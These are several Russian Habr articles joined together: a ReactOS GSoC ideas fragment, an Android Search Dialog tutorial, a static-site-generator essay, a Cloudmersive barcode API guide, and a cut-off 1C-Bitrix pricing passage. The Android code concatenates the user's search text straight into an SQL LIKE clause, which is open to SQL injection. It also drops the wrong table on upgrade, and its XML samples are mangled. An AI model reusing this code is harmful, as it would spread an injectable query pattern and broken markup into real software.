30. Web-интерфейс для разработчиков. После [перехода на git](https://reactos.org/project-news/reactos-repository-migrated-github) некоторые старые утилиты непрерывной интергации (такие, как [buildbot](https://build.reactos.org/console), [testman](https://www.reactos.org/testman/)) стали хуже работать друг с другом. Поэтому предлагается реализовать улучшенную версию Web-интерфейса для разработчиков, который позволит показывать коммиты, билды, пулл-реквесты и пр. и сможет связывать их друг с другом, в том числе с использованием фильтров поиска. Это поможет ориентироваться в кодовой базе новым и старым разработчикам. Идеи по Web-интерфейсу детально расписаны в [соответствующем разделе ReactOS wiki](https://www.reactos.org/wiki/Google_Summer_of_Code_2018_Ideas#Developer_Web_Interface).
Как видите, идей для Google Summer of Code полно. Не упустите свой шанс поработать в интересном проекте с первоклассными наставниками и менторами в самых разных областях. Выбирайте любую вам понравившуюся идею (или предложите свою), [**регистрируйтесь на сайте**](https://summerofcode.withgoogle.com/) и отправляйте свою заявку!
P.S. Спасибо всем, кто дочитал до этого момента. Огромная просьба писать об ошибках (грамматических, пунктуационных, синтаксических, речевых, и, что самое главное, – фактических) в личку мне, или в наш [Telegram-чат](https://t.me/reactos_ru). | https://habr.com/ru/post/351382/ | null | ru | null |
# Использование Android Search Dialog. Пример простого приложения
Данная статья предназначена для тех, кто уже написал свой HelloWorld для Android и знает, что такое Activity и Intent, а так же где находится манифест, и зачем нужны layout'ы. В противном случае, можно ознакомиться с этим материалом, например, на [developer.android.com](http://developer.android.com/guide/index.html).
В статье описывается создание несложного приложения, которое использует механизм реализации поиска, основанный на возможностях встроенного фреймворка. После прочтения вы также сможете настроить свое приложение таким образом, чтобы оно осуществляло поиск по данным, используя стандартный Android Search Dialog.
#### Немного теории
Android Search Dialog (далее — «диалог поиска») управляется с помощью поискового фреймворка. Это означает, что разработчику не нужно задумываться над тем как его нарисовать или как отловить поисковый запрос. За вас эту работу сделает [SearchManager](http://developer.android.com/reference/android/app/SearchManager.html).
Итак, когда пользователь запускает поиск, SearchManager создает Intent, и направляет его к Activity, которое отвечает за поиск данных (при этом сам запрос помещается в экстры). То есть по сути в приложении должно быть хотя бы одно Activity, которое получает поисковые Intent'ы, выполняет поиск, и предоставляет пользователю результаты. Для реализации потребуется следующее:
* Конфигурационный xml файл (в нем содержится информация о диалоге)
* Activity, которое будет получать поисковые запросы, выполнять поиск и выводить результаты на экран
* Механизм вызова поискового диалога (так как не все устройства с Android на борту имеют на корпусе кнопку поиска)
#### Конфигурационный файл
Начнем с создания конфигурационного файла, потому что это самая простая часть. Конечно, вам нужно заранее приготовиться, создать новый проект, Activity (У меня используется Activity «Main» и имя проекта «SearchExample»). Всё, что нужно для конфигурации — это создать файл searchable.xml в поддиректории res/xml/ вашего проекта, со следующим содержанием.
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <searchable xmlns:android="http://schemas.android.com/apk/res/android"
>
> android:label="@string/app\_name"
>
> android:hint="@string/search\_hint"
>
> >
>
> searchable>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обязательным атрибутом является только android:label, причем он должен ссылаться на строку, которая является такой же, что и название приложения. Второй атрибут, android:hint используется для отображения строки в пустом диалоге. Например, это может быть «Поиск по Видео» или «Поиск контактов» и т.п. Этот атрибут указывает на то, по каким данным осуществляется поиск. Также важно знать, что элемент searchable поддерживает множество других атрибутов, подробнее можно прочесть [Здесь](http://developer.android.com/guide/topics/search/searchable-config.html).
#### Создаем Activity
Минимально, всё что нам нужно от пользовательского интерфейса Activity — это список для вывода результатов поиска и механизм вызова поискового диалога. Так и сделаем, добавив только поле для ввода текста и кнопку, чтобы мы сами могли заполнять базу. Забегая вперед, скажу, что данные будем хранить в БД SQLite.
Опишем интерфейс Activity следующим образом (файл находится в res/layout/main.xml).
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
>
> android:orientation="vertical"
>
> android:layout\_width="fill\_parent"
>
> android:layout\_height="fill\_parent">
>
> <LinearLayout
>
> android:orientation="horizontal"
>
> android:layout\_width="fill\_parent"
>
> android:layout\_height="wrap\_content"
>
> android:gravity="top">
>
> <EditText
>
> android:id="@+id/text"
>
> android:layout\_width="wrap\_content"
>
> android:layout\_height="wrap\_content"
>
> android:hint="@string/text"
>
> android:layout\_weight="100.0" />
>
> <Button
>
> android:id="@+id/add"
>
> android:layout\_width="wrap\_content"
>
> android:layout\_height="wrap\_content"
>
> android:text="@string/add" />
>
> LinearLayout>
>
> <ListView
>
> android:id="@android:id/list"
>
> android:layout\_width="fill\_parent"
>
> android:layout\_height="wrap\_content" />
>
> <TextView
>
> android:layout\_gravity="left"
>
> android:id="@android:id/empty"
>
> android:layout\_width="fill\_parent"
>
> android:layout\_height="fill\_parent"
>
> android:text="@string/no\_records"/>
>
> LinearLayout>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выглядит следующим образом:
Также нам понадобится layout для вида элемента списка, опишем его простейшим образом (файл находится в res/layout/record.xml)
> `</fontxml version="1.0" encoding="utf-8" ?>
>
> <TextView
>
> android:id="@+id/text1"
>
> xmlns:android="http://schemas.android.com/apk/res/android"
>
> android:layout\_width="wrap\_content"
>
> android:layout\_height="wrap\_content"
>
> />
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Также, не забываем про файл ресурсов, где хранятся наши строки (файл в res/values/strings.xml)
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <resources>
>
> <string name="app\_name">SearchExamplestring>
>
> <string name="add">Addstring>
>
> <string name="text">Enter textstring>
>
> <string name="no\_records">There are no records in the tablestring>
>
> <string name="search\_hint">Search the recordsstring>
>
> <string name="search">Searchstring>
>
> resources>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Напоминаю, что когда пользователь выполняет поиск, то нужно, чтобы SearchManager отправлял Intent вместе с поисковым запросом к нашему Activity. Чтобы SearchManager точно знал, куда ему отсылать Intent, нужно объявить об этом в манифесте. Итак, идем в AndroidManifest.xml, и изменяем его так, чтобы Activity могло принимать Intent'ы типа Search. Кроме этого, применим наш конфигурационный файл searchable.xml. Итак, манифест будет выглядеть примерно так:
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <manifest xmlns:android="http://schemas.android.com/apk/res/android"
>
> package="com.example.search"
>
> android:versionCode="1"
>
> android:versionName="1.0">
>
> <application android:icon="@drawable/icon" android:label="@string/app\_name">
>
> <activity android:name=".Main"
>
> android:label="@string/app\_name">
>
> <intent-filter>
>
> <action android:name="android.intent.action.MAIN" />
>
> <category android:name="android.intent.category.LAUNCHER" />
>
> intent-filter>
>
> <intent-filter>
>
> <action android:name="android.intent.action.SEARCH" />
>
> intent-filter>
>
> <meta-data
>
> android:name="android.app.searchable"
>
> android:resource="@xml/searchable"
>
> />
>
> activity>
>
>
>
> application>
>
> <uses-sdk android:minSdkVersion="5" />
>
>
>
> manifest>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Сейчас, вы уже можете проверить, все ли вы сделали правильно. Вызвать диалог на эмуляторе можно, например, нажав кнопку поиска. Ну или если вы проверяете на девайсе, то зажав «Меню». Выглядеть должно примерно так:
#### Выполнение поиска
После того, как мы объявили наше Activity и внесли необходимые изменения в AndroidManifest.xml, можно рассмотреть само выполнение поиска. Оно включает в себя три этапа:
* Получение запроса
* Поиск данных
* вывод результатов
##### Получение запроса
Так как SearchManager посылает Intent типа Search нашему Activity, то всё что нужно сделать это проверить на Intent этого типа при старте Activity. Тогда, если мы получаем нужный Intent, то можно извлекать из него экстру и выполнять поиск.
##### Поиск данных
Так как тип структуры хранения данных для разных приложений может различаться, то и методы для них свои. В нашем случае, проще всего выполнить запрос по таблице БД SQLite запросом LIKE. Конечно, лучше использовать FTS3, он значительно быстрее, подробнее о FTS3 можно прочесть на сайте [SQLite.org](http://www.sqlite.org/fts3.html). В идеале, также нужно всегда рассчитывать, что поиск может занять продолжительное время, поэтому можно создать какой-нибудь ProgressDialog, чтобы у нас не завис интерфейс, и чтобы пользователь знал, что приложение работает.
##### Вывод результатов
Вообще вывод результатов — это проблема UI, но так как мы используем ListView, то для нас проблема решается простым обновлением адаптера.
#### Исходный код
Наконец, привожу полный исходный код двух классов с комментариями. Первый — Main, наследник ListActivity, он используется для наполнения БД и вывода результатов. Второй класс — RecordsDbHelper, он реализует интерфейс для взаимодействия с БД. Самые важные методы — добавление записей и поиск совпадений, с помощью запроса LIKE.
**Файл Main.java**
> `package com.example.search;
>
>
>
> import android.app.ListActivity;
>
> import android.app.SearchManager;
>
> import android.content.Intent;
>
> import android.database.Cursor;
>
> import android.os.Bundle;
>
> import android.view.Menu;
>
> import android.view.MenuInflater;
>
> import android.view.MenuItem;
>
> import android.view.View;
>
> import android.widget.Button;
>
> import android.widget.EditText;
>
> import android.widget.SimpleCursorAdapter;
>
>
>
> public class Main extends ListActivity {
>
> private EditText text;
>
> private Button add;
>
> private RecordsDbHelper mDbHelper;
>
>
>
> @Override
>
> public void onCreate(Bundle savedInstanceState) {
>
> super.onCreate(savedInstanceState);
>
> setContentView(R.layout.main);
>
> //Создаем экземпляр БД
>
> mDbHelper = new RecordsDbHelper(this);
>
> //Открываем БД для записи
>
> mDbHelper.open();
>
> //Получаем Intent
>
> Intent intent = getIntent();
>
> //Проверяем тип Intent
>
> if (Intent.ACTION\_SEARCH.equals(intent.getAction())) {
>
> //Берем строку запроса из экстры
>
> String query = intent.getStringExtra(SearchManager.QUERY);
>
> //Выполняем поиск
>
> showResults(query);
>
> }
>
>
>
> add = (Button) findViewById(R.id.add);
>
> text = (EditText) findViewById(R.id.text);
>
> add.setOnClickListener(new View.OnClickListener() {
>
> public void onClick(View view) {
>
> String data = text.getText().toString();
>
> if (!data.equals("")) {
>
> saveTask(data);
>
> text.setText("");
>
> }
>
> }
>
> });
>
> }
>
>
>
> private void saveTask(String data) {
>
> mDbHelper.createRecord(data);
>
> }
>
>
>
> private void showResults(String query) {
>
> //Ищем совпадения
>
> Cursor cursor = mDbHelper.fetchRecordsByQuery(query);
>
> startManagingCursor(cursor);
>
> String[] from = new String[] { RecordsDbHelper.KEY\_DATA };
>
> int[] to = new int[] { R.id.text1 };
>
>
>
> SimpleCursorAdapter records = new SimpleCursorAdapter(this,
>
> R.layout.record, cursor, from, to);
>
> //Обновляем адаптер
>
> setListAdapter(records);
>
> }
>
> //Создаем меню для вызова поиска (интерфейс в res/menu/main\_menu.xml)
>
> public boolean onCreateOptionsMenu(Menu menu) {
>
> MenuInflater inflater = getMenuInflater();
>
> inflater.inflate(R.menu.main\_menu, menu);
>
> return true;
>
> }
>
>
>
> public boolean onOptionsItemSelected(MenuItem item) {
>
> switch (item.getItemId()) {
>
> case R.id.search\_record:
>
> onSearchRequested();
>
> return true;
>
> default:
>
> return super.onOptionsItemSelected(item);
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Файл RecordsDbHelper.java**
> `package com.example.search;
>
>
>
> import android.content.ContentValues;
>
> import android.content.Context;
>
> import android.database.Cursor;
>
> import android.database.SQLException;
>
> import android.database.sqlite.SQLiteDatabase;
>
> import android.database.sqlite.SQLiteOpenHelper;
>
> import android.util.Log;
>
>
>
> public class RecordsDbHelper {
>
>
>
> public static final String KEY\_DATA = "data";
>
> public static final String KEY\_ROWID = "\_id";
>
>
>
> private static final String TAG = "RecordsDbHelper";
>
> private DatabaseHelper mDbHelper;
>
> private SQLiteDatabase mDb;
>
>
>
> private static final String DATABASE\_CREATE = "CREATE TABLE records(\_id INTEGER PRIMARY KEY AUTOINCREMENT, "
>
> + "data TEXT NOT NULL);";
>
>
>
> private static final String DATABASE\_NAME = "data";
>
> private static final String DATABASE\_TABLE = "records";
>
> private static final int DATABASE\_VERSION = 1;
>
>
>
> private final Context mCtx;
>
>
>
> private static class DatabaseHelper extends SQLiteOpenHelper {
>
>
>
> DatabaseHelper(Context context) {
>
> super(context, DATABASE\_NAME, null, DATABASE\_VERSION);
>
> }
>
>
>
> @Override
>
> public void onCreate(SQLiteDatabase db) {
>
>
>
> db.execSQL(DATABASE\_CREATE);
>
> }
>
>
>
> @Override
>
> public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
>
> Log.w(TAG, "Upgrading database from version " + oldVersion + " to "
>
> + newVersion + ", which will destroy all old data");
>
> db.execSQL("DROP TABLE IF EXISTS tasks");
>
> onCreate(db);
>
> }
>
> }
>
>
>
> public RecordsDbHelper(Context ctx) {
>
> this.mCtx = ctx;
>
> }
>
>
>
> public RecordsDbHelper open() throws SQLException {
>
> mDbHelper = new DatabaseHelper(mCtx);
>
> mDb = mDbHelper.getWritableDatabase();
>
> return this;
>
> }
>
>
>
> public void close() {
>
> mDbHelper.close();
>
> }
>
>
>
> //Добавляем запись в таблицу
>
> public long createRecord(String data) {
>
> ContentValues initialValues = new ContentValues();
>
> initialValues.put(KEY\_DATA, data);
>
> return mDb.insert(DATABASE\_TABLE, null, initialValues);
>
> }
>
>
>
> //Поиск запросом LIKE
>
> public Cursor fetchRecordsByQuery(String query) {
>
> return mDb.query(true, DATABASE\_TABLE, new String[] { KEY\_ROWID,
>
> KEY\_DATA }, KEY\_DATA + " LIKE" + "'%" + query + "%'", null,
>
> null, null, null, null);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### Заключение
Для написания статьи использовалась документация с [developer.android.com](http://developer.android.com)
Весь проект можно взять на [code.google.com](http://code.google.com/p/androidsearchexample/). | https://habr.com/ru/post/111475/ | null | ru | null |
# Зачем я написал очередной генератор статических сайтов
Сначала, думаю, нужно представиться. Я не программист, программирование для меня скорее хобби, да и из современных языков на момент написания моего велосипеда я знал только Java Script (и немного Java). Так что делюсь не программистскими наработками, а взглядом на генераторы статических сайтов с пользовательской стороны.
#### Откуда есть пошла
У меня был сайтик, с небольшой посещаемостью и статьями в стиле “я и моя… славная кошка”, который я регулярно пополнял. И, конечно, пытался прикрутить к нему какую-нибудь CMS. Сначала это был wiki-движок, потом — нечто более блоговое. При небольшой посещаемости и слабеньких ресурсах хостинга я, конечно, задумался о переводе сайта на 100% статику.
#### И понеслась
Я рассчитывал найти подходящий генератор, конвертнуть записи из базы данных движка в файлики и радоваться. Но не тут-то было. Первым под руку попался webgen, но фраза “исходный файл может содержать несколько блоков текста, например основной текст и текст на полях” — сразу отвратила от него. Для меня было важно разделить содержимое и представление, и такой подход мне не подходил.
#### “НЕ”
Далее я испробовал почти все, что было “на рынке”, и у меня начал формироваться список важных “не”.
##### Имена файлов не должны влиять на вид сайта, как и их расширения
Многие движки требуют определенного формата имен файлов, и, пожалуй, 70% всех используют расширение для указания языка упрощенной разметки(.md — Markdown, например). Имя файла — это просто идентификатор этой порции данных, не стоит возлагать на него слишком много.
Для меня удобнее указывать все метаданные единообразно, и для этого подходит заголовок файла. Либо конфигурационный файл сайта. На этой стадии отпал, например, прекрасный Jekill.
##### Сайт не должен требовать сервера для просмотра
Зачем тогда вообще статический сайт? В принципе, делать ссылки вида “/top-level/dir/file.html” проще для программирования, но это исключает возможность посмотреть сайт, скажем, с флешки. И требует запуска сервера для предварительно просмотра. Так что у себя я сделал ссылки относительными.
##### У движка не должно быть функции “меню”, “боковая панель” и так далее
Структура сайта — это просто директории и файлы в них. Вывод меню — дело шаблонизатора. Отдельная функция для задания меню, конечно, может облегчить создание шаблона, но делает процесс менее гибким. Тут отпало сразу много движков…
##### Создание статьи должно не должно быть сложным. Ни на сколько
Казалось бы, чего проще — пишешь текстовый файл. Мне понравилось задавать метаданные в начале в формате YAML, но все это здорово, пока ваш родной язык — английский. Интерфейс обычной CMS русифицируют, почему переходя на генератор статических сайтов я должен писать:
```
title: В лесу родилась елочка
date: 01-01-2012
```
Это, в конце концов, некрасиво. С другой стороны, для шаблонизатора лучше иметь унифицированные имена, поэтому в своем генераторе я сделал трансляцию из локализованных названий полей во внутренние.
##### Упрощенные шаблонизаторы не нужны
В свое время мне очень понравился язык TAL. На его фоне другие шаблонизаторы выглядели немного бедно, а, самое главное, TAL — самый дружественный к дизайнеру. В процессе разработки шаблона можно просто смотреть его в браузере, а “оживление” готового занимает не более получаса. Я даже нашел генератор статических сайтов, использующий TAL (PubTAL), но он сильно заточен на блоги, а…
##### Не всякий сайт — блог
И даже для блога навигация “по календарю” не слишком-то удобна (на мой взгляд). Так что движки, упорядочивающие посты в основном по датам, я не рассматривал.
##### Не надо мешать код и текст
На мой взгляд, хранить код и исходники сайта в одной директории не есть хорошо. Есть инсталляционная директория программы, туда должны идти все плагины, а в директории сайта должен оставаться только конфигурационный файл для них. Однако, почему-то, это решение пришло в голову не всем разработчикам подобных проектов. К тому же, я планировал запустить на своем движке не один сайт, а следить, фактически за несколькими инсталляциями программы мне лень.
Хотя возможность добавлять в директорию сайта какой-то специфичный для сайта код, решающий локальные задачи, я все-таки потом добавил, чтобы не замусоривать директорию плагинов слишком “частными” задачами.
##### Разработчик CMS не должен придумывать структуру сайта
Какую структуру сайта ни придумает программист, пользователь захочет другую. Поэтому, по-моему, все особенности структуры директорий — как исходных текстов, так и готового сайта — делать настраиваемыми, и, по возможности, произвольными.
##### Не надо делать заранее то, что можно сгенерировать в процессе
Например, категории и теги неудобно расписывать заранее, в то же время, совсем несложно сделать всю необходимую работу по их генерации имея простой список тегов в заголовке файла.
##### Не надо додумывать за пользователя
Это скорее «да», чем «не», но все равно важно. Например, если одной статье присвоен тег «Кошка», а другой — «КОШКА», они, конечно, перечисляются под одним тегом, но вот при выводе тегов конкретной статьи написание должно сохраняться авторское.
#### Что вышло
Вышло, что халявы не будет, и любой из десятков генераторов надо допиливать, или терпеть. Так что я подумал, что написание своего велосипеда не слишком усложнит положение. Как раз выдалось много свободных вечеров…
Сначала попробовал писать на PHP, потому что подумал, что для веба его неплохо бы изучить получше (я на нем читаю со словарем), но он у меня совсем не пошел. Первую версию наваял на Перле, потом перешел на третий Питон. В полностью рабочее состояние генератор вылился только где-то через год. Сейчас на этом генераторе запустил и рабочий сайтик.
#### P. S.
Из вещей, которые я (наверное) придумал сам, упомяну о пользовательских правилах транслитерации тегов (я, для простоты, использую транслитерацию как примитивный «стемминг»). То есть, мне кажется, хорошая идея, если можно задать, чтобы теги “игра” и “игры” принимались системой как один и тот же.
#### P. P. S.
Вот пример исходного файла:
```
Заголовок: Моя славная кошка
Дата: 2012/3/1 10:18
Метки: кошка, фотографии, веселые картинки
id: 115 #это я от фонаря написал
Это "выдержка" из статьи, используется при выводе списка статей. Строка, состоящая из дефисов
ниже отделяет ее от основного текста
---
Это основной текст статьи ... [ссылка по id на какой-то файл](/+id:123)
``` | https://habr.com/ru/post/172571/ | null | ru | null |
# Как создать изображение штрих-кода на Java
Штрих-коды повсеместно используются в коммерции и розничной торговле для помощи в отслеживании товаров, покупках и инвентаризации. Они позволяют организациям вести точный учет их поставок, товаров и других предметов, которые являются ключевыми для их деятельности. Для международного и национального использования существуют разные штрих-коды, которые используются в определенных контекстах. Например, штрих-коды UPC и EAN выглядят одинаково по своему форматированию и могут использоваться аналогичным образом, но UPC - это в основном североамериканская система кодирования; однако, UPC и EAN используются во всем мире. QR - коды также используется во всем мире, но они обычно используется для обмена сложными наборами информации, например, сведениями о товарах или ссылками на веб-сайты.
Следующие пять [API-интерфейсов](https://api.cloudmersive.com/swagger/index.html?urls.primaryName=Barcode%20API) позволят вам создавать изображения штрих-кода в трех ранее упомянутых форматах. Это позволит вам распечатать или создать упаковку с прикрепленными вашими личными штрих-кодами, без необходимости извлекать ее из внешнего источника. Это может быть особенно полезно для малого бизнеса, поскольку обеспечивает большую независимость компании и улучшает визуальную и профессиональную привлекательность ваших продуктов.
Чтобы использовать любой из следующих API, вам сначала необходимо установить ссылку на SDK с Maven или Gradle. Чтобы установить с Maven, добавьте ссылку Jitpack на репозиторий в pom.xml:
```
jitpack.io
https://jitpack.io
```
Затем добавьте ссылку на зависимость:
```
com.github.Cloudmersive
Cloudmersive.APIClient.Java
v3.54
```
Чтобы установить нужную зависимость с помощью Gradle, добавьте ссылку на свой корневой build.gradle в конце репозиториев:
```
allprojects {
repositories {
...
maven { url 'https://jitpack.io' }
}
}
```
Затем добавьте зависимость в build.gradle:
```
dependencies {
implementation 'com.github.Cloudmersive:Cloudmersive.APIClient.Java:v3.54'
}
```
Первый набор функций сосредоточен на создании штрих-кодов UPC в двух форматах: UPC-A и UPC-E. UPC-A — это стандартный тип штрих-кода UPC, содержащий 12 цифр, которые кодируют информацию о продукте. UPC-E действует как сжатая форма этого кода, поскольку он может принимать исходное 12-значное значение и сокращать его до 6 цифр с седьмой цифрой контрольной суммы. Однако если ваше значение UPC не начинается с нуля, вы не можете сжать его в код UPC-E. Их следует в основном использовать в розничной торговле и простой кодировке продуктов, поскольку они не приспособлены для передачи сложной информации. Чтобы создать штрих-код UPC-A, установите SDK, как показано выше, а затем вызовите функцию:
```
// Import classes:
//import com.cloudmersive.client.invoker.ApiClient;
//import com.cloudmersive.client.invoker.ApiException;
//import com.cloudmersive.client.invoker.Configuration;
//import com.cloudmersive.client.invoker.auth.*;
//import com.cloudmersive.client.GenerateBarcodeApi;
ApiClient defaultClient = Configuration.getDefaultApiClient();
// Configure API key authorization: Apikey
ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey");
Apikey.setApiKey("YOUR API KEY");
// Uncomment the following line to set a prefix for the API key, e.g. "Token" (defaults to null)
//Apikey.setApiKeyPrefix("Token");
GenerateBarcodeApi apiInstance = new GenerateBarcodeApi();
String value = "value_example"; // String | UPC-A barcode value to generate from
try {
byte[] result = apiInstance.generateBarcodeUPCA(value);
System.out.println(result);
} catch (ApiException e) {
System.err.println("Exception when calling GenerateBarcodeApi#generateBarcodeUPCA");
e.printStackTrace();
}
```
Единственный ввод, необходимый для этой функции, — это значение штрих-кода UPC, из которого будет создано изображение. Это вернет выходной файл, содержащий изображение штрих-кода в формате PNG. Чтобы этот API работал правильно, необходимо обеспечить выполнение определенных требований:
* Значение штрих-кода UPC действительное и вводится правильно.
* Вы ввели свой ключ ключ API, обеспечивающий 800 ежемесячных вызовов через нашу библиотеку API. Его можно бесплатно получить на веб-сайте Cloudmersive.
Чтобы создать код UPC-E, выполните те же действия что и выше, чтобы установить и вызвать следующую функцию:
```
// Import classes:
//import com.cloudmersive.client.invoker.ApiClient;
//import com.cloudmersive.client.invoker.ApiException;
//import com.cloudmersive.client.invoker.Configuration;
//import com.cloudmersive.client.invoker.auth.*;
//import com.cloudmersive.client.GenerateBarcodeApi;
ApiClient defaultClient = Configuration.getDefaultApiClient();
// Configure API key authorization: Apikey
ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey");
Apikey.setApiKey("YOUR API KEY");
// Uncomment the following line to set a prefix for the API key, e.g. "Token" (defaults to null)
//Apikey.setApiKeyPrefix("Token");
GenerateBarcodeApi apiInstance = new GenerateBarcodeApi();
String value = "value_example"; // String | UPC-E barcode value to generate from
try {
byte[] result = apiInstance.generateBarcodeUPCE(value);
System.out.println(result);
} catch (ApiException e) {
System.err.println("Exception when calling GenerateBarcodeApi#generateBarcodeUPCE");
e.printStackTrace();
}
```
Штрих-коды EAN были созданы для использования в Европе, но признаны во всем мире. Есть два типа EAN кода — это EAN-13 и EAN-8, причем EAN-13 является наиболее широко используемым. Как и в формате UPC, коды EAN могут кодировать только числовые данные, что позволяет их быстро и легко сканировать. EAN-13 содержит 13 цифр, которые представляют код страны, информацию о продукте и производителе, а также цифры контрольной суммы. EAN-8 состоит из 8 цифр и предназначен для использования на продуктах с упаковкой, которая слишком мала для использования кода EAN-13.
Чтобы сгенерировать код EAN-13, установите SDK, как показано выше, а затем вызовите функцию:
```
// Import classes:
//import com.cloudmersive.client.invoker.ApiClient;
//import com.cloudmersive.client.invoker.ApiException;
//import com.cloudmersive.client.invoker.Configuration;
//import com.cloudmersive.client.invoker.auth.*;
//import com.cloudmersive.client.GenerateBarcodeApi;
ApiClient defaultClient = Configuration.getDefaultApiClient();
// Configure API key authorization: Apikey
ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey");
Apikey.setApiKey("YOUR API KEY");
// Uncomment the following line to set a prefix for the API key, e.g. "Token" (defaults to null)
//Apikey.setApiKeyPrefix("Token");
GenerateBarcodeApi apiInstance = new GenerateBarcodeApi();
String value = "value_example"; // String | Barcode value to generate from
try {
byte[] result = apiInstance.generateBarcodeEAN13(value);
System.out.println(result);
} catch (ApiException e) {
System.err.println("Exception when calling GenerateBarcodeApi#generateBarcodeEAN13");
e.printStackTrace();
}
```
Для кода EAN-8 выполните те же начальные шаги и вызовите функцию ниже:
```
// Import classes:
//import com.cloudmersive.client.invoker.ApiClient;
//import com.cloudmersive.client.invoker.ApiException;
//import com.cloudmersive.client.invoker.Configuration;
//import com.cloudmersive.client.invoker.auth.*;
//import com.cloudmersive.client.GenerateBarcodeApi;
ApiClient defaultClient = Configuration.getDefaultApiClient();
// Configure API key authorization: Apikey
ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey");
Apikey.setApiKey("YOUR API KEY");
// Uncomment the following line to set a prefix for the API key, e.g. "Token" (defaults to null)
//Apikey.setApiKeyPrefix("Token");
GenerateBarcodeApi apiInstance = new GenerateBarcodeApi();
String value = "value_example"; // String | Barcode value to generate from
try {
byte[] result = apiInstance.generateBarcodeEAN8(value);
System.out.println(result);
} catch (ApiException e) {
System.err.println("Exception when calling GenerateBarcodeApi#generateBarcodeEAN8");
e.printStackTrace();
}
```
Все предыдущие форматы штрих-кодов считаются одномерными типами, поскольку они могут кодировать только простые числовые данные, такие как коды продуктов. Однако, если вы хотите передать более сложную информацию, идеально подойдет QR-код в формате 2D. QR-код, означающий Quick Return code (кода быстрого возврата), может использоваться для передачи широкого спектра информации путем сканирования с помощью устройства, имеющего поддержку QR-кода, такого как смартфон. Их можно использовать для получения сведений о продукте в маркетинговых целях и для обмена служебной информацией, например меню.
Чтобы сгенерировать QR-код, вызовите следующую функцию:
```
// Import classes:
//import com.cloudmersive.client.invoker.ApiClient;
//import com.cloudmersive.client.invoker.ApiException;
//import com.cloudmersive.client.invoker.Configuration;
//import com.cloudmersive.client.invoker.auth.*;
//import com.cloudmersive.client.GenerateBarcodeApi;
ApiClient defaultClient = Configuration.getDefaultApiClient();
// Configure API key authorization: Apikey
ApiKeyAuth Apikey = (ApiKeyAuth) defaultClient.getAuthentication("Apikey");
Apikey.setApiKey("YOUR API KEY");
// Uncomment the following line to set a prefix for the API key, e.g. "Token" (defaults to null)
//Apikey.setApiKeyPrefix("Token");
GenerateBarcodeApi apiInstance = new GenerateBarcodeApi();
String value = "value_example"; // String | QR code text to convert into the QR code barcode
try {
byte[] result = apiInstance.generateBarcodeQRCode(value);
System.out.println(result);
} catch (ApiException e) {
System.err.println("Exception when calling GenerateBarcodeApi#generateBarcodeQRCode");
e.printStackTrace();
}
```
Входные данные для этой функции могут включать любой текст произвольной формы и, следовательно, обеспечивают гибкость в соответствии с вашими требованиями.
Все эти функции возвращают файл PNG, содержащий изображение вашего штрих-кода, для использования на любом продукте или предмете. Если у вас есть какие-либо вопросы об использовании этих API-интерфейсов или вопросы, касающиеся других решений API, вы можете посетить веб-сайт Cloudmersive, где наша команда будет рада помочь во всем, что вам может понадобиться. | https://habr.com/ru/post/533194/ | null | ru | null |
# Простейший способ реализации переключения цен в 1С-Битрикс
Довольно часто на интернет-магазинах оптовой торговли можно встретить сразу несколько типов цен — обычно их обозначают как ОПТ1, ОПТ2, ОПТ3 и т.п. В зависимости от того, на какую сумму покупатель набрал добра в корзине и(или) иных условий, для него срабатывает тот или иной тип цен.
К сожалению, не все движки сайтов предусматривают наличие сразу нескольких типов цен для товара, а даже те движки, в которых есть возможность задания более чем одной цены для продукта, зачастую не располагают гибкими механизмами их переключения. К последним относится довольно таки популярный «1С-Битрикс». С одной стороны, в этой CMS уже в «коробочном» варианте(в редакции «Бизнес» и выше) есть поддержка нескольких видов цен, а с другой стороны, совершенно непонятно как настроить динамическое переключение этих цен в зависимости от тех или иных условий. Штатный мануал по этой части тоже хранит гробовое молчание. Надеюсь, что товарищи из Битрикса исправят это досадное недоразумение, но я решил не ждать этого счастливого момента и ясное дело додумался до костыльного решения, чем собственно и решил поделиться с хабрасообществом.
Итак, поехали...
В первую очередь, следует обратить внимание на обработчик **OnGetOptimalPrice**. Несмотря на то, что эта функция в ядре появилась достаточно давно, в онлайн-документации её описание было добавлено совсем недавно. Между тем, этот обработчик срабатывает когда происходит автоматический выбор оптимальной цены для конкретного товара и позволяет переопределять цену для него. Мы же попытаемся использовать его для пересчета всех цен в корзине в зависимости от общей суммы покупки.
Подключаем обработчик в файле /php\_interface/init.php (само собой, если этого файла нет, то его необходимо создать — битрикс подключит его автоматически)
`AddEventHandler("catalog", "OnGetOptimalPrice", "MyGetOptimalPrice");`
Объявление функции MyGetOptimalPrice вместе с входными параметрами будет выглядеть следующим образом:
`function MyGetOptimalPrice($productID, $quantity = 1, $arUserGroups = array(), $renewal = "N", $arPrices = array(), $siteID = false, $arDiscountCoupons = false)`
Как видно из приведенного кода, функция не получает на вход общую сумму стоимости товаров в корзине, а только данные конкретного товара. А значит, необходимо получить данные корзины запросом в базу данных. Т.к. обработчик вызывается в цикле в зависимости от количества товаров в корзине, то имеет смысл определить глобальную переменную, в которую будем записывать общую сумму содержимого корзины при первом вызове обработчика OnGetOptimalPrice.
На выходе должно получиться, что-то вроде этого:
```
global $LocalPrice;
$LocalPrice = 0;
function MyGetOptimalPrice($productID, $quantity = 1, $arUserGroups = array(), $renewal = "N", $arPrices = array(), $siteID = false, $arDiscountCoupons = false)
{
global $LocalPrice;
if($LocalPrice <= 0)
{
// Выведем актуальную корзину для текущего пользователя
$dbBasketItems = CSaleBasket::GetList(false,
array(
